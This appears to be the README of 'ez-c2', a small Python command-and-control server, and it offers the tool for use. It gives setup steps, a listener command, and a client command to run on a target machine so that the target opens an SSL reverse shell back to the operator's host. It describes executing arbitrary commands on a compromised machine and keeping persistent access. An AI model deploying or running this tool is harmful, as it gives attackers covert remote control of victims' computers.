init!
ez-c2 is a lightweight and minimal Command & Control (C2) server written in Python 3. It enables remote shell access via SSL, making it easy to manage a compromised machine from the command line interface (CLI).
Clone the repository and set up your Python virtual environment:
git clone https://github.com/auteqia/ez-c2.git
cd ez-c2/
python3 -m venv venv
source ./venv/bin/activateInstall any dependencies if required :
pip install -r requirements.txtIt can be used server-side or client-side.
Start the C2 server and specify the port to listen on:
Usage: python3 script.py -listen <port>Example:
python3 script.py -listen 4443Run the client script on the target machine to initiate a reverse shell:
python3 -connect <server_ip> <server_port>Example:
python3 script.py -connect 192.168.1.100 4443The client will establish an SSL connection to the server and spawn a shell.
Once connected, ez-c2 allows the operator to:
- Execute arbitrary system commands on the client-side machine
- Receive output of commands via a secure SSL tunnel
- Maintain persistent shell access (implementation dependent)
server.crt is the public key of the server and server.key is the private key of the server. Please regenerate them (if you want to..) with this command :
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes